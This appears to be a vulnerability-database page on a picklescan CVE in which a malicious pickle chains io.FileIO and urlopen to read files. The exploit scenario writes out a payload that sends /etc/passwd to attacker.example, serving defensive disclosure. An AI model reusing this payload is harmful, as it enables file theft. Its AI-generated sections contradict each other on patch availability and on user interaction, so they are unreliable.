picklescan
CVE-2026-53872
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft malicious pickle with io.FileIO + urlopen reduce chain
-
DeliveryPublish pickle to model hub or supply to victim pipeline
-
ExploitVictim runs picklescan < 0.0.35 on file
-
InstallBlocklist misses non-RCE primitives
-
C2Unpickling opens /etc/passwd via io.FileIO
-
Executeurllib.request.urlopen POSTs file contents to attacker URL
-
ImpactSensitive data exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that a victim system run picklescan < 0.0.35 against an attacker-controlled pickle file and that the host have outbound network connectivity to the attacker's URL for the urllib.request.urlopen leg of the chain; no authentication, user interaction beyond invoking the scanner, or non-default configuration is needed. Limiting factors: the attacker must be able to deliver a pickle into the scanning workflow (e.g., via a public model hub, shared artifact repo, or user upload), the scanner host must be able to reach the exfiltration endpoint (egress filtering blocks the SSRF/exfil step), and the target file path must be readable by the user running the scanner. |
| Impact | The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N gives an 8.7 score driven entirely by VC:H, with VI and VA at N - accurate, because the bug yields confidentiality loss (file read and SSRF) but not direct integrity or availability impact. EPSS and CISA KEV data were not supplied in the inputs, so widespread mass-exploitation probability is unknown; however, the GHSA advisory publishes a working PoC, so weaponization cost is effectively zero for anyone scanning attacker-supplied pickles. Real-world risk is concentrated on ML platforms and CI pipelines that ingest third-party pickle artifacts and rely on picklescan as a gate - for those operators this is a high priority because the tool fails open on a class of payloads it is explicitly trusted to block. For users who only scan trusted internal artifacts, the practical exposure is much lower despite the high base score. |
| Exploit ScenarioDerived | An attacker uploads a malicious .pkl file (for example, as part of a model repository on a public ML hub) whose __reduce__ method returns urllib.request.urlopen('https://attacker.example/collect', io.FileIO('/etc/passwd','r')). When a downstream user or automated pipeline runs picklescan against the file expecting a safe/unsafe verdict, the scanner's deserialization path executes the chain and streams the target file to the attacker's webhook. A working PoC is published in the GHSA advisory, so the barrier to weaponization is effectively nil. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 17, 2026
Arbitrary file read in picklescan versions before 0.0.35 allows remote unauthenticated attackers to exfiltrate sensitive server files by abusing standard-library callables that the tool's RCE-focused blocklist fails to detect. By chaining io.FileIO and urllib.request.urlopen inside a malicious pickle, an attacker can stream contents of files such as /etc/passwd to an attacker-controlled URL when the scanner processes untrusted model artifacts. Publicly available exploit code exists in the GHSA advisory, but there is no public exploit identified at time of analysis in the form of in-the-wild abuse.
RemediationAI
Vendor-released patch: picklescan 0.0.35 - upgrade via pip install --upgrade 'picklescan>=0.0.35' and rebuild any container images, CI workers, or Hugging Face integration services that bundle the library. The upstream fix is tracked in PR https://github.com/mmaitre314/picklescan/pull/55 and commit a01c58d5dd7960db557b849817c0ab83ab111ef1, referenced from the GHSA advisory at https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr. Until the upgrade is rolled out, do not rely on picklescan's verdict alone for untrusted pickles: run scans inside a sandbox or container with no network egress and a minimal filesystem (so urllib.request.urlopen cannot reach the internet and io.FileIO has nothing sensitive to read), or block outbound HTTP from the scanner host at the network layer - the trade-off is that legitimate scanner functionality is unaffected but you lose visibility if you also need the scanner to fetch remote artifacts.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
picklescan is a Python package (pip/picklescan, CPE cpe:2.3:a:picklescan:picklescan:*) designed to statically scan pickle files - commonly distributed with ML models on Hugging Face and similar hubs - for unsafe deserialization payloads. The vulnerability is rooted in CWE-22 (Path Traversal) combined with unsafe pickle deserialization: the scanner's allow/block heuristics focus on classic RCE primitives (os, subprocess, builtins.exec) and miss io.FileIO, which opens arbitrary local files without going through builtins.open, and urllib.request.urlopen, which accepts a file-like iterable as a POST body. Chaining them inside __reduce__ produces a pickle whose unpickling reads a chosen path and ships it to an external HTTP endpoint, defeating the scanner's purpose of declaring such files safe.
Know when Picklescan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Remote attacker delivers a pickle but a user/automation must invoke the scanner on it (UI:R); no auth needed; only confidentiality impact via arbitrary file read.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
Executive ViewAI
picklescan versions before 0.0.35 contain an arbitrary file read vulnerability allowing unauthenticated attackers to exfiltrate sensitive server files; publicly available exploit code exists. Organizations deploying picklescan in model processing pipelines face risk of exposure of credentials and configuration data when processing untrusted machine learning artifacts. Immediate mitigation is required as no vendor patch is currently available.
No vendor-released patch identified at time of analysis. Compensating controls: Restrict picklescan to trusted model sources; implement network-layer egress filtering to block external outbound connections from picklescan processes; apply principle of least privilege to picklescan service accounts; monitor logs for unauthorized file access and unexpected outbound connection attempts; isolate picklescan processing environment with restricted file system access.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)CVE.org
More in Picklescan
View allRemote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio
An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot
An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0
Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle
Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle
Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr
Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing
Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i
Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using
Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th
Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB